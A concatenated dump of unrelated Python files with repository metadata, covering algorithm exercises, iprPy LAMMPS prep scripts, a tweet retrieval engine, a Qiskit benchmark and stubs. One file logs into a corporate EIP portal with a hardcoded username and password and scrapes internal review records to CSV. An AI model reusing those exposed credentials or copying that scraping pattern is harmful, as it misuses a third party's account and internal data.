python_stem = [ps.stem(word) for word in example_words]
new_text = "It is important to by very pythonly while you are pythoning with python. All pythoners have pythoned poorly at least once."
words = word_tokenize(new_text)
new_text_stem = [ps.stem(word) for word in words]
print(new_text_stem)
|
[
"edimaudo@gmail.com"
] |
edimaudo@gmail.com
|
bc8d71d97141ecbdf9574f4745d8a3f290be2c6f
|
1d2258fbd69719dfe3f3be87f2cf91d13ad655a1
|
/Algorithms/Arrays & Strings/print_subarray_0_sum.py
|
d7ad46d13fe33149c8806a3eac42692f71478e2c
|
[] |
no_license
|
skhan75/CoderAid
|
83625edd52fbe8619d8cc280338da86cf93ecd80
|
ec898cb59bd136c4a6cdc8a32c399896febc483e
|
refs/heads/master
| 2023-08-31T14:22:59.778094
| 2023-08-30T05:19:09
| 2023-08-30T05:19:09
| 144,413,708
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 904
|
py
|
"""
Given an array of integers, print all subarrays with 0 sum
"""
from collections import defaultdict
def print_subarrays_with_0_sum(arr):
s = defaultdict(list)
s[0].append(-1)
solution = []
sum = 0
for i in range(len(arr)):
sum += arr[i]
if (sum in s):
# find all sub-arrays with same sum
lst = s[sum]
for val in lst:
solution.append((val+1, i))
s[sum].append(i)
return solution
import unittest
class Test(unittest.TestCase):
def test_print_subarrays_with_0_sum(self):
test_data = [[3, 4, -7, 3, 1, 3, 1, -4, -2, -2]]
expected = [ [(0, 2), (1, 3), (2, 5), (5, 7), (0, 9), (3, 9)] ]
for idx, t in enumerate(test_data):
res = print_subarrays_with_0_sum(t)
self.assertEqual(res, expected[idx])
if __name__ == "__main__":
unittest.main()
|
[
"sami.ahmadkhan12@gmail.com"
] |
sami.ahmadkhan12@gmail.com
|
7137748277f1cd63223ab231f1e78babfc251b80
|
ea2d80ac6733210b7841121ce0592a7d591cfa76
|
/iprPy/workflow/prepare/relax_static.py
|
524cc27724e29c9002303f32eae42c299a8a443d
|
[] |
no_license
|
StriderO/iprPy
|
ab0b6b271bb32688dfe7a30866ecc9eaa2c7432e
|
49d25adf1c9ac0a52f8fbb726efdfec0c952c989
|
refs/heads/master
| 2022-12-21T22:29:46.670132
| 2020-09-25T16:58:40
| 2020-09-25T16:58:40
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,947
|
py
|
# Standard Python libraries
import sys
# iprPy imports
from . import prepare
calculation_name = 'relax_static'
def main(database_name, run_directory_name, lammps_command, **kwargs):
"""
Prepares relax_static calculations from reference_crystal and E_vs_r_scan
records.
buildcombos
- reference : atomicreference from reference_crystal
- parent : atomicparent from calculation_E_vs_r_scan
Parameters
----------
database_name : str
The name of the pre-set database to use.
run_directory_name : str
The name of the pre-set run_directory to use.
lammps_command : str
The LAMMPS executable to use.
**kwargs : str or list, optional
Values for any additional or replacement prepare parameters.
"""
# Set default branch value to match current function's name
kwargs['branch'] = kwargs.get('branch', sys._getframe().f_code.co_name)
script = "\n".join(
[
# Build load information based on reference structures
'buildcombos atomicreference load_file reference',
# Build load information from E_vs_r_scan results
'buildcombos atomicparent load_file parent',
# Specify parent buildcombos terms (parent record's style and the load_key to access)
'parent_record calculation_E_vs_r_scan',
'parent_load_key minimum-atomic-system',
# System manipulations
'sizemults 10 10 10',
# Run parameters
'energytolerance 0.0',
'forcetolerance 1e-10 eV/angstrom',
'maxiterations 10000',
'maxevaluations 100000',
'maxatommotion 0.01 angstrom',
'maxcycles 100',
'cycletolerance 1e-10',
])
# Add additional required terms to kwargs
kwargs['lammps_command'] = lammps_command
# Prepare
prepare(database_name, run_directory_name, calculation_name,
script, **kwargs)
def from_dynamic(database_name, run_directory_name, lammps_command, **kwargs):
"""
Prepares relax_static calculations from relax_dynamic records.
buildcombos
- archive : atomicarchive from calculation_relax_dynamic
Parameters
----------
database_name : str
The name of the pre-set database to use.
run_directory_name : str
The name of the pre-set run_directory to use.
lammps_command : str
The LAMMPS executable to use.
**kwargs : str or list, optional
Values for any additional or replacement prepare parameters.
"""
# Set default branch value to match current function's name
kwargs['branch'] = kwargs.get('branch', sys._getframe().f_code.co_name)
script = "\n".join(
[
# Build load information from relax_dynamic results
'buildcombos atomicarchive load_file archive',
# Specify archive parent buildcombos terms (parent record's style and the load_key to access)
'archive_record calculation_relax_dynamic',
'archive_branch main',
'archive_load_key final-system',
# System manipulations
'sizemults 1 1 1',
# Run parameters
'energytolerance 0.0',
'forcetolerance 1e-10 eV/angstrom',
'maxiterations 10000',
'maxevaluations 100000',
'maxatommotion 0.01 angstrom',
'maxcycles 100',
'cycletolerance 1e-10',
])
# Add additional required terms to kwargs
kwargs['lammps_command'] = lammps_command
# Prepare
prepare(database_name, run_directory_name, calculation_name,
script, **kwargs)
|
[
"lucas.hale@nist.gov"
] |
lucas.hale@nist.gov
|
c9dba315b8af82eb804dd2e52ca45dde170c6ae8
|
929fc8dd47b91c963c8c2f81d88e3d995a9dfc7c
|
/src/DP/easy/64_Minimum_Path_Sum.py
|
7389b32a1fa43870020e855bad013a3e89549215
|
[] |
no_license
|
1325052669/leetcode
|
fe7571a9201f4ef54089c2e078810dad11205b14
|
dca40686c6a280bd394feb8e6e78d40eecf854b9
|
refs/heads/master
| 2023-04-01T17:53:30.605822
| 2021-04-10T15:17:45
| 2021-04-10T15:17:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 695
|
py
|
from typing import List
class Solution:
def minPathSum(self, grid: List[List[int]]) -> int:
m = len(grid)
n = len(grid[0])
dp = [[0] * n for _ in range(m)]
dp[-1][-1] = grid[-1][-1]
for i in range(n - 2, -1, -1):
dp[-1][i] = dp[-1][i + 1] + grid[-1][i]
for i in range(m - 2, -1, -1):
dp[i][-1] = dp[i + 1][-1] + grid[i][-1]
for i in range(m - 2, -1, -1):
for j in range(n - 2, -1, -1):
dp[i][j] = min(dp[i + 1][j], dp[i][j + 1]) + grid[i][j]
return dp[0][0]
def main():
print(Solution().minPathSum([[1,3,1],[1,5,1],[4,2,1]]))
if __name__=='__main__':
main()
|
[
"js7995@nyu.edu"
] |
js7995@nyu.edu
|
76b17a6841aa8fe14ed93b17483f10d58534b25a
|
9743d5fd24822f79c156ad112229e25adb9ed6f6
|
/xai/brain/wordbase/otherforms/_pupae.py
|
99416f9ced84f392cfabb21eec716d975befdd8f
|
[
"MIT"
] |
permissive
|
cash2one/xai
|
de7adad1758f50dd6786bf0111e71a903f039b64
|
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
|
refs/heads/master
| 2021-01-19T12:33:54.964379
| 2017-01-28T02:00:50
| 2017-01-28T02:00:50
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 214
|
py
|
#calss header
class _PUPAE():
def __init__(self,):
self.name = "PUPAE"
self.definitions = pupa
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['pupa']
|
[
"xingwang1991@gmail.com"
] |
xingwang1991@gmail.com
|
fbac1c282e8dd5a8c6c3876e5f54ef6e3c44cdf8
|
7d096568677660790479d87c22b47aae838ef96b
|
/stubs/System/Windows/Media/Animation_parts/FillBehavior.pyi
|
15af9862d0aa4e8dff7d4511c4d3fa4002704cfe
|
[
"MIT"
] |
permissive
|
NISystemsEngineering/rfmx-pythonnet
|
30adbdd5660b0d755957f35b68a4c2f60065800c
|
cd4f90a88a37ed043df880972cb55dfe18883bb7
|
refs/heads/master
| 2023-02-04T00:39:41.107043
| 2023-02-01T21:58:50
| 2023-02-01T21:58:50
| 191,603,578
| 7
| 5
|
MIT
| 2023-02-01T21:58:52
| 2019-06-12T16:02:32
|
Python
|
UTF-8
|
Python
| false
| false
| 1,045
|
pyi
|
class FillBehavior(Enum,IComparable,IFormattable,IConvertible):
"""
Specifies how a System.Windows.Media.Animation.Timeline behaves when it is outside its active period but its parent is inside its active or hold period.
enum FillBehavior,values: HoldEnd (0),Stop (1)
"""
def __eq__(self,*args):
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
pass
def __format__(self,*args):
""" __format__(formattable: IFormattable,format: str) -> str """
pass
def __ge__(self,*args):
pass
def __gt__(self,*args):
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __le__(self,*args):
pass
def __lt__(self,*args):
pass
def __ne__(self,*args):
pass
def __reduce_ex__(self,*args):
pass
def __str__(self,*args):
pass
HoldEnd=None
Stop=None
value__=None
|
[
"sean.moore@ni.com"
] |
sean.moore@ni.com
|
9b82980d0ba80121a3e74d36257439bd9ad7a282
|
e27333261b8e579564016c71d2061cc33972a8b8
|
/.history/api/IR_engine_20210726210035.py
|
e231b53c33eec2a63c2f86870be7824dac22af35
|
[] |
no_license
|
Dustyik/NewsTweet_InformationRetrieval
|
882e63dd20bc9101cbf48afa6c3302febf1989b1
|
d9a6d92b51c288f5bcd21ea1cc54772910fa58f7
|
refs/heads/master
| 2023-07-01T09:12:53.215563
| 2021-08-12T08:28:33
| 2021-08-12T08:28:33
| 382,780,359
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,990
|
py
|
import pandas as pd
import numpy as np
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.metrics.pairwise import euclidean_distances
from nltk.stem import PorterStemmer
from nltk.tokenize import word_tokenize
file_path = r"D:\Desktop\IR_term_8\IR-tweets---disaster-\article_titles.csv"
def setup_app():
df = pd.read_csv(file_path)
df.head()
return
class DataProcessor:
def __init__(self, filename, col):
self.data = pd.read_csv(filename, names=col)
self.data.topic = self.data.topic.astype(str)
self.porter = PorterStemmer()
def tokenize_stem_lower(self, text):
tokens = word_tokenize(text)
tokens = list(filter(lambda x: x.isalpha(), tokens))
tokens = [self.porter.stem(x.lower()) for x in tokens]
return ' '.join(tokens)
def get_clean_data(self):
self.data['clean_text'] = self.data.apply(lambda x: self.tokenize_stem_lower(x.text), axis=1)
return self.data
class CosineSimilarity:
def __init__(self, data, type='tfidf'):
self.data = data
self.change_matrix_type(type)
def get_result(self, return_size):
cos_sim = cosine_similarity(self.matrix, self.matrix)
top_ind = np.flip(np.argsort(cos_sim[0]))[1:return_size+1]
top_id = [list(self.matrix.index)[i] for i in top_ind]
# print(top_10_ind ,top_10_id)
self.result = []
for i in top_id:
filt = self.data[self.data.document==i]
for ind, r in filt.iterrows():
rel = r['rel']
text = r['text']
related = r['topic']
score = 0
if related==self.query_id and rel>0:
score = 1
if related==self.query_id and rel==0:
score = -1
self.result.append({'tweet_id':i, 'text': text, 'related_article':related,'score': score})
def query(self, query_id, query_text, return_size=10):
self.query_id = query_id
term_doc = self.vec.fit_transform([query_text]+list(self.data.clean_text))
ind = ['query'] + list(self.data.document)
self.matrix = pd.DataFrame(term_doc.toarray(), columns=self.vec.get_feature_names(), index=ind)
self.get_result(return_size)
return pd.DataFrame(self.result)
def change_matrix_type(self, type):
if type == 'tfidf':
self.vec = TfidfVectorizer()
elif type == 'dt':
self.vec = CountVectorizer()
else:
print('Type is invalid')
def get_matrix(self):
return self.matrix
class EuclideanDistance:
def __init__(self, data, type='tfidf'):
self.data = data
self.change_matrix_type(type)
self.matrix = None
def get_result(self, return_size):
euclidean = euclidean_distances(self.matrix.values[1:], [self.matrix.values[0]])
top_ind = np.argsort(euclidean.T[0])[:return_size]
top_id = [list(self.matrix.index)[i] for i in top_ind]
# print(sorted(euclidean[:20]),top_10_ind ,top_10_id)
self.result = []
for i in top_id:
filt = self.data[self.data.document==i]
for ind, r in filt.iterrows():
rel = r['rel']
text = r['text']
related = r['topic']
score = 0
if related==self.query_id and rel>0:
score = 1
if related==self.query_id and rel==0:
score = -1
self.result.append({'tweet_id':i, 'text': text, 'related_article':related,'score': score})
def query(self, query_id, query_text, return_size=10):
self.query_id = query_id
term_doc = self.vec.fit_transform([query_text]+list(self.data.clean_text))
ind = ['query'] + list(self.data.document)
self.matrix = pd.DataFrame(term_doc.toarray(), columns=self.vec.get_feature_names(), index=ind)
self.get_result(return_size)
return pd.DataFrame(self.result)
def change_matrix_type(self, type):
if type == 'tfidf':
self.vec = TfidfVectorizer()
elif type == 'dt':
self.vec = CountVectorizer()
else:
print('Type is invalid')
def get_matrix(self):
return self.matrix
setup_app()
|
[
"chiayik_tan@mymail.sutd.edu.sg"
] |
chiayik_tan@mymail.sutd.edu.sg
|
9a9d2b165bcf57f9c995dc84c76a5a4c0ce28848
|
53fab060fa262e5d5026e0807d93c75fb81e67b9
|
/backup/user_048/ch41_2020_04_01_00_06_34_049221.py
|
cd859ef2d7ab02257d808cf886da81b08617b92a
|
[] |
no_license
|
gabriellaec/desoft-analise-exercicios
|
b77c6999424c5ce7e44086a12589a0ad43d6adca
|
01940ab0897aa6005764fc220b900e4d6161d36b
|
refs/heads/main
| 2023-01-31T17:19:42.050628
| 2020-12-16T05:21:31
| 2020-12-16T05:21:31
| 306,735,108
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 157
|
py
|
def zera_negativos(x):
t=0
i=len(x)
while t<i:
if x[t]<0:
del x[t]
x.insert(t,0)
t=t+1
return(x)
|
[
"you@example.com"
] |
you@example.com
|
3ad9a37e9e171f8ce39f37f8c3144b8607c507e5
|
ca7aa979e7059467e158830b76673f5b77a0f5a3
|
/Python_codes/p02743/s099779834.py
|
4b687207109d093383b7555f1da3abd4b8869ca0
|
[] |
no_license
|
Aasthaengg/IBMdataset
|
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
|
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
|
refs/heads/main
| 2023-04-22T10:22:44.763102
| 2021-05-13T17:27:22
| 2021-05-13T17:27:22
| 367,112,348
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 155
|
py
|
from decimal import *
import math
getcontext().prec=1000
a,b,c=map(int,input().split())
if a+b+2*Decimal(a*b).sqrt()<c:
print("Yes")
else:
print("No")
|
[
"66529651+Aastha2104@users.noreply.github.com"
] |
66529651+Aastha2104@users.noreply.github.com
|
70a01c59b4b664ef0db8aafc1fd97e28296a1324
|
7b91755b1c777248050f3cadf23ed34d1f10adef
|
/Section8/60.py
|
a2fc429546aa3f6d74048e164cf5b4b61fb82a4c
|
[] |
no_license
|
JAntonioMarin/PythonBootcamp
|
ef2976be0204df44e0c56a521628c73a5d274008
|
6e4af15b725913d3fda60599792e17d7d43d61d2
|
refs/heads/master
| 2021-01-06T16:52:57.537678
| 2020-03-26T17:36:50
| 2020-03-26T17:36:50
| 241,406,222
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 555
|
py
|
my_list = [1, 2, 3]
my_set = set()
print(type(my_set))
class SampleWord():
pass
my_sample = SampleWord()
print(type(my_sample))
class Dog():
def __init__(self, breed, name, spots):
# Attributes
# We take in the argument
# Assign it using self.attribute_name
self.breed = breed
self.name = name
# Expect boolean True/False
self.spots = spots
# my_dog = Dog('Lab')
my_dog = Dog(breed='Huskie', name='Sammy', spots=False)
print(my_dog.breed)
print(my_dog.name)
print(my_dog.spots)
|
[
"avalanch.psp@gmail.com"
] |
avalanch.psp@gmail.com
|
b501c00b45c1b813f628e512cd1de07a77c0582e
|
c2289635f088e8b0613900bfb85985fc9af8d20f
|
/programmers/lv3_스티커모으기2.py
|
be433342c5915f9810b8d2d260b116d2b96a24d6
|
[] |
no_license
|
gyoforit/study-algorithm
|
e91da5491c935731e754ac9f85074a97f8e48066
|
af0c10e417f5d205048db268f7cc60b60b2c49cb
|
refs/heads/master
| 2023-08-21T14:04:00.891937
| 2021-10-29T11:54:31
| 2021-10-29T11:54:31
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 524
|
py
|
def solution(sticker):
answer = []
L = len(sticker)
dp = [0] * L
if L == 1:
return sticker[0]
# 첫번째 스티커 뜯음
dp[0] = sticker[0]
dp[1] = sticker[0]
for i in range(2, L - 1):
dp[i] = max(dp[i - 2] + sticker[i], dp[i - 1])
answer.append(max(dp))
# 첫번째 스티커 안 뜯음
dp2 = [0] * L
dp2[1] = sticker[1]
for i in range(2, L):
dp2[i] = max(dp2[i - 2] + sticker[i], dp2[i - 1])
answer.append(max(dp2))
return max(answer)
|
[
"gyoforit@gmail.com"
] |
gyoforit@gmail.com
|
84b7d546ee415702bf3a0dfe5ab42fe105e80b6c
|
beb22b5d1584d9962aecb547692da8a2679bd172
|
/code/Toolbox/DP_AlgorithmSyn.py
|
759b2bad26c043020ac9e3e1ac5fc190350614b3
|
[] |
no_license
|
356255531/ADP_Programming_Assignment
|
5fb16c8dff5a884b371a89a819cd3718c0b286d2
|
e8d21b7943df806f5232e37795ae3a70a84fddd1
|
refs/heads/master
| 2020-06-14T10:12:35.390736
| 2017-01-13T16:47:09
| 2017-01-13T16:47:09
| 75,199,031
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,625
|
py
|
import numpy as np
from StateActionSpace import StateActionSpace
from Enviroment import Enviroment
__auther__ = "Zhiwei"
class DP_AlgorithmSyn(object):
"""
Parent class of DP algorithm(VI, PI)
Member function:
init_val_func_vector(val_func)
derive_policy(val_func_vector, env, state_action_space)
cal_trans_prob_mat_and_reward_vector(
action,
reward_func,
env,
state_action_space
)
"""
def init_val_func_vector(self, state_action_space):
"""
Randomly initialize the value function
vector and assgin the value of goal state
to 100 at the end of value function vector
return numpy.mat
"""
isinstance(state_action_space, StateActionSpace)
num_legal_ele = len(state_action_space.get_legal_state_space())
val_func_vector = np.random.random(num_legal_ele)
val_func_vector[-1] = 100
val_func_vector = np.mat(val_func_vector).transpose()
return val_func_vector
def derive_policy(
self,
val_func_vector,
state_action_space,
env
):
"""
Derive the policy from given vectorized value function
and legal state space
"""
policy = []
legal_state_space = state_action_space.get_legal_state_space()
action_space = state_action_space.get_action_space()
for state in legal_state_space:
max_val = -float("inf")
for action in action_space:
next_state = env.perform_action(state, action)
feature_vector = state_action_space.get_feature_vector_of_legal_state(next_state).transpose()
val_func = np.matmul(
np.mat(feature_vector),
val_func_vector
)
if val_func > max_val:
max_val = val_func
policy_temp = action
policy.append(policy_temp)
return policy
def cal_trans_prob_mat_and_reward_vector(
self,
action_sets,
reward_func,
env,
state_action_space
):
"""
Caculate the transition probility matrix and
reward function vector of all states with given
action
return trans_prob_mat(numpy.mat), reward_vector(numpy.mat)
"""
isinstance(action_sets, list)
isinstance(env, Enviroment)
isinstance(state_action_space, StateActionSpace)
legal_state_space = state_action_space.get_legal_state_space()
trans_prob_mat, reward_vector = np.array([]), np.array([])
for state, action in zip(legal_state_space, action_sets):
next_state = env.perform_action(state, action)
feature_vector = state_action_space.get_feature_vector_of_legal_state(next_state)
trans_prob_mat = np.append(
trans_prob_mat,
feature_vector,
)
reward = reward_func.get_reward(state, action, next_state)
reward_vector = np.append(
reward_vector,
reward,
)
num_legal_state = len(legal_state_space)
trans_prob_mat = np.mat(np.reshape(trans_prob_mat, (num_legal_state, num_legal_state)))
reward_vector = np.mat(np.reshape(reward_vector, (num_legal_state, 1)))
return trans_prob_mat, reward_vector
if __name__ == "__main__":
a = []
print np.array(a)
|
[
"hanzw356255531@icloud.com"
] |
hanzw356255531@icloud.com
|
89ebdc3767a55b1adeb10aed9f78d4153f61cd22
|
f6db8d85a3b41eed543959314d65927353a8229c
|
/.history/W5/restaurant/views_20201202134429.py
|
2fd9b255c7fc4e77e83d886775ac37fd056818d1
|
[] |
no_license
|
NFEL/DjangoPaeez99
|
d573cc8e36500f08bc104d76f7a2628062d86c2f
|
621636bfb47d71f2a4f45037b7264dd5ebc7cdd7
|
refs/heads/main
| 2023-01-27T22:05:57.788049
| 2020-12-08T10:08:28
| 2020-12-08T10:08:28
| 304,553,353
| 1
| 2
| null | 2020-10-16T07:33:04
| 2020-10-16T07:33:03
| null |
UTF-8
|
Python
| false
| false
| 1,202
|
py
|
from django.shortcuts import render, get_object_or_404
import folium
from geolocation import geolocator
from .models import Category, Element, ElementAddress
def element_list(request, cat_id, cat_title):
category_obj = get_object_or_404(Category, id=cat_id)
print(cat_title)
elements = category_obj.element_set.all()
# elements = Element.objects.filter(category=category_obj)
context = {
'category': category_obj,
'elements': elements
}
return render(request, 'element-list.html', context)
def element_detail(request, elem_id):
element = get_object_or_404(Element, id=elem_id)
location = ElementAddress.objects.get(element=element)
locations = []
for loc in ElementAddress.objects.get(element=element):
tmp = []
tmp.append(loc.city)
tmp.append(loc.state)
tmp.append(geolocator.geocode(location.location))
map = folium.Map(location=location.location)
folium.Marker(location=location.location).add_to(map)
tmp.append(map._repr_html_())
context = {
'element': element,
'locations': locations,
}
return render(request, 'element-detail.html', context)
|
[
"nfilsaraee@gmail.com"
] |
nfilsaraee@gmail.com
|
dcd13b8f27011b198afbe05a69263144625e2140
|
b9ca99a0244e5d5a07e0b27be8192ad01c4eda6c
|
/EIP/EIP_login.py
|
ab438374bf8e3062c20dbb32db2556a9ab704a86
|
[] |
no_license
|
Boomshakal/spider
|
c3fdbf18f874ec9953509e4ce984b5476d25839f
|
e6779a3961f48325dd4992d88f88b8b3938225d7
|
refs/heads/master
| 2021-06-17T06:22:19.679444
| 2021-03-05T06:33:36
| 2021-03-05T06:33:36
| 154,489,684
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,318
|
py
|
import csv
import json
from urllib import request, parse
from http import cookiejar
from lxml import etree
# 创建cookiejar的实例
cookie = cookiejar.CookieJar()
# 生成 cookie的管理器
cookie_handler = request.HTTPCookieProcessor(cookie)
# 创建http请求管理器
http_handler = request.HTTPHandler()
# 生成https管理器
https_handler = request.HTTPSHandler()
# 创建请求管理器
opener = request.build_opener(http_handler, https_handler, cookie_handler)
def login():
'''
负责初次登录
需要输入用户名密码,用来获取登录cookie凭证
:return:
'''
login_url = "http://eip.megmeet.com:8008/j_acegi_security_check"
# 此login_url需要从登录form的action属性中提取
# 此键值需要从登录form的两个对应input中提取name属性
data = {
"j_username": "yhs375",
"j_password": "lhm922357"
}
# 把数据进行编码
data = parse.urlencode(data)
# 创建一个请求对象
req = request.Request(login_url, data=bytes(data,encoding='utf-8'))
# 使用opener发起请求
response = opener.open(req)
def geterrInfo(page):
# 如果已经执行了login函数,则opener自动已经包含相应的cookie值
url = "http://eip.megmeet.com:8008/km/review/km_review_index/kmReviewIndex.do?method=list&q.mydoc=all&q.j_path=%2FlistAll&q.fdTemplate=1666236b6b0126bbc42394e49a8ae720&q.s_raq=0.006108134566174206&pageno={}&rowsize=30&orderby=docCreateTime&ordertype=down&s_ajax=true".format(page)
# data={
# 'method': 'list',
# 'q.mydoc': 'all',
# 'q.j_path': '/listAll',
# 'q.fdTemplate': '1666236b6b0126bbc42394e49a8ae720',
# 'q.s_raq': 0.8223910556245086,
# 'pageno': page,
# 'rowsize': 30,
# 'orderby': 'docCreateTime',
# 'ordertype': 'down',
# 's_ajax': True
# }
rsp = opener.open(url)
html = rsp.read().decode()
result=json.loads(html)
with open('data.csv', 'a', encoding='utf-8') as file:
writer = csv.writer(file)
writer.writerow(['发起人', '申请编号', '机型料号', '机型名称', '托工单号', '工单数量', '物料料号', '投入数量', '不良数量', '问题描述', '原因分析', '临时措施', '围堵措施',
'永久措施', '效果确认','发起日期','责任人'])
for i in result['datas']:
fdId=i[0]['value'] #获取fdId用于next_url的get
docCreateTime_time=i[6]['value']
rsp = opener.open(next_url.format(fdId))
html = rsp.read().decode()
info=etree.HTML(html).xpath('//div[@class="xform_inputText"]//text()')
print(info)
info.append(docCreateTime_time)
responsibility = etree.HTML(html).xpath('//label/xformflag/text()')
print(responsibility)
#info.append(responsibility)
writer.writerow(info) #加入信息
#writer.writerow(responsibility_department)
if __name__ == '__main__':
next_url = 'http://eip.megmeet.com:8008/km/review/km_review_main/kmReviewMain.do?method=view&fdId={}'
login()
minpage=input('请输入最大页码:')
maxpage = input('请输入最大页码:')
for i in range(int(minpage),int(maxpage)+1):
geterrInfo(i)
|
[
"362169885@qq.com"
] |
362169885@qq.com
|
4728310efd0b4e2eaa6e3535d1903dc3d22b7567
|
09e57dd1374713f06b70d7b37a580130d9bbab0d
|
/benchmark/startQiskit_QC2091.py
|
737923b2439c1fa807fa1cda167fcd2579578343
|
[
"BSD-3-Clause"
] |
permissive
|
UCLA-SEAL/QDiff
|
ad53650034897abb5941e74539e3aee8edb600ab
|
d968cbc47fe926b7f88b4adf10490f1edd6f8819
|
refs/heads/main
| 2023-08-05T04:52:24.961998
| 2021-09-19T02:56:16
| 2021-09-19T02:56:16
| 405,159,939
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,252
|
py
|
# qubit number=4
# total number=35
import cirq
import qiskit
from qiskit import IBMQ
from qiskit.providers.ibmq import least_busy
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2
import numpy as np
import networkx as nx
def bitwise_xor(s: str, t: str) -> str:
length = len(s)
res = []
for i in range(length):
res.append(str(int(s[i]) ^ int(t[i])))
return ''.join(res[::-1])
def bitwise_dot(s: str, t: str) -> str:
length = len(s)
res = 0
for i in range(length):
res += int(s[i]) * int(t[i])
return str(res % 2)
def build_oracle(n: int, f) -> QuantumCircuit:
# implement the oracle O_f
# NOTE: use multi_control_toffoli_gate ('noancilla' mode)
# https://qiskit.org/documentation/_modules/qiskit/aqua/circuits/gates/multi_control_toffoli_gate.html
# https://quantumcomputing.stackexchange.com/questions/3943/how-do-you-implement-the-toffoli-gate-using-only-single-qubit-and-cnot-gates
# https://quantumcomputing.stackexchange.com/questions/2177/how-can-i-implement-an-n-bit-toffoli-gate
controls = QuantumRegister(n, "ofc")
target = QuantumRegister(1, "oft")
oracle = QuantumCircuit(controls, target, name="Of")
for i in range(2 ** n):
rep = np.binary_repr(i, n)
if f(rep) == "1":
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
oracle.mct(controls, target[0], None, mode='noancilla')
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.barrier()
return oracle
def make_circuit(n:int,f) -> QuantumCircuit:
# circuit begin
input_qubit = QuantumRegister(n,"qc")
classical = ClassicalRegister(n, "qm")
prog = QuantumCircuit(input_qubit, classical)
prog.h(input_qubit[3]) # number=15
prog.cz(input_qubit[0],input_qubit[3]) # number=16
prog.h(input_qubit[3]) # number=17
prog.x(input_qubit[3]) # number=13
prog.h(input_qubit[3]) # number=20
prog.cz(input_qubit[0],input_qubit[3]) # number=21
prog.h(input_qubit[3]) # number=22
prog.h(input_qubit[1]) # number=2
prog.h(input_qubit[2]) # number=3
prog.h(input_qubit[3]) # number=4
prog.h(input_qubit[0]) # number=5
oracle = build_oracle(n-1, f)
prog.append(oracle.to_gate(),[input_qubit[i] for i in range(n-1)]+[input_qubit[n-1]])
prog.h(input_qubit[1]) # number=6
prog.h(input_qubit[1]) # number=29
prog.h(input_qubit[2]) # number=7
prog.h(input_qubit[3]) # number=8
prog.h(input_qubit[0]) # number=9
prog.h(input_qubit[0]) # number=23
prog.cz(input_qubit[2],input_qubit[0]) # number=24
prog.h(input_qubit[0]) # number=25
prog.y(input_qubit[2]) # number=30
prog.cx(input_qubit[2],input_qubit[0]) # number=11
prog.cx(input_qubit[2],input_qubit[0]) # number=18
prog.h(input_qubit[0]) # number=26
prog.cx(input_qubit[0],input_qubit[2]) # number=32
prog.x(input_qubit[2]) # number=33
prog.cx(input_qubit[0],input_qubit[2]) # number=34
prog.cz(input_qubit[2],input_qubit[0]) # number=27
prog.h(input_qubit[0]) # number=28
# circuit end
for i in range(n):
prog.measure(input_qubit[i], classical[i])
return prog
if __name__ == '__main__':
a = "111"
b = "0"
f = lambda rep: bitwise_xor(bitwise_dot(a, rep), b)
prog = make_circuit(4,f)
IBMQ.load_account()
provider = IBMQ.get_provider(hub='ibm-q')
provider.backends()
backend = least_busy(provider.backends(filters=lambda x: x.configuration().n_qubits >= 2 and not x.configuration().simulator and x.status().operational == True))
sample_shot =8000
info = execute(prog, backend=backend, shots=sample_shot).result().get_counts()
backend = FakeVigo()
circuit1 = transpile(prog,backend,optimization_level=2)
writefile = open("../data/startQiskit_QC2091.csv","w")
print(info,file=writefile)
print("results end", file=writefile)
print(circuit1.__len__(),file=writefile)
print(circuit1,file=writefile)
writefile.close()
|
[
"wangjiyuan123@yeah.net"
] |
wangjiyuan123@yeah.net
|
bda335ed88fe441e1737f4dd3b25d75487239999
|
4da852082af72bd25f5c7016ab781d544aa3d88d
|
/PyQt5/uic/port_v2/load_plugin.py
|
5c141ba81b810cbd6d172000529dcda39e31574a
|
[] |
no_license
|
pyqt/python-qt5-mavericks
|
9241ba98d63a76d1d0a490e8095e7b1d25158f8c
|
ffb84f9c3f0fc277cdf06a0ae430219987cf9ab4
|
refs/heads/master
| 2021-01-01T16:21:16.360643
| 2015-04-13T15:30:47
| 2015-04-13T15:30:47
| 33,808,029
| 4
| 6
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,519
|
py
|
#############################################################################
##
## Copyright (c) 2015 Riverbank Computing Limited <info@riverbankcomputing.com>
##
## This file is part of PyQt5.
##
## This file may be used under the terms of the GNU General Public License
## version 3.0 as published by the Free Software Foundation and appearing in
## the file LICENSE included in the packaging of this file. Please review the
## following information to ensure the GNU General Public License version 3.0
## requirements will be met: http://www.gnu.org/copyleft/gpl.html.
##
## If you do not wish to use this file under the terms of the GPL version 3.0
## then you may purchase a commercial license. For more information contact
## info@riverbankcomputing.com.
##
## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE
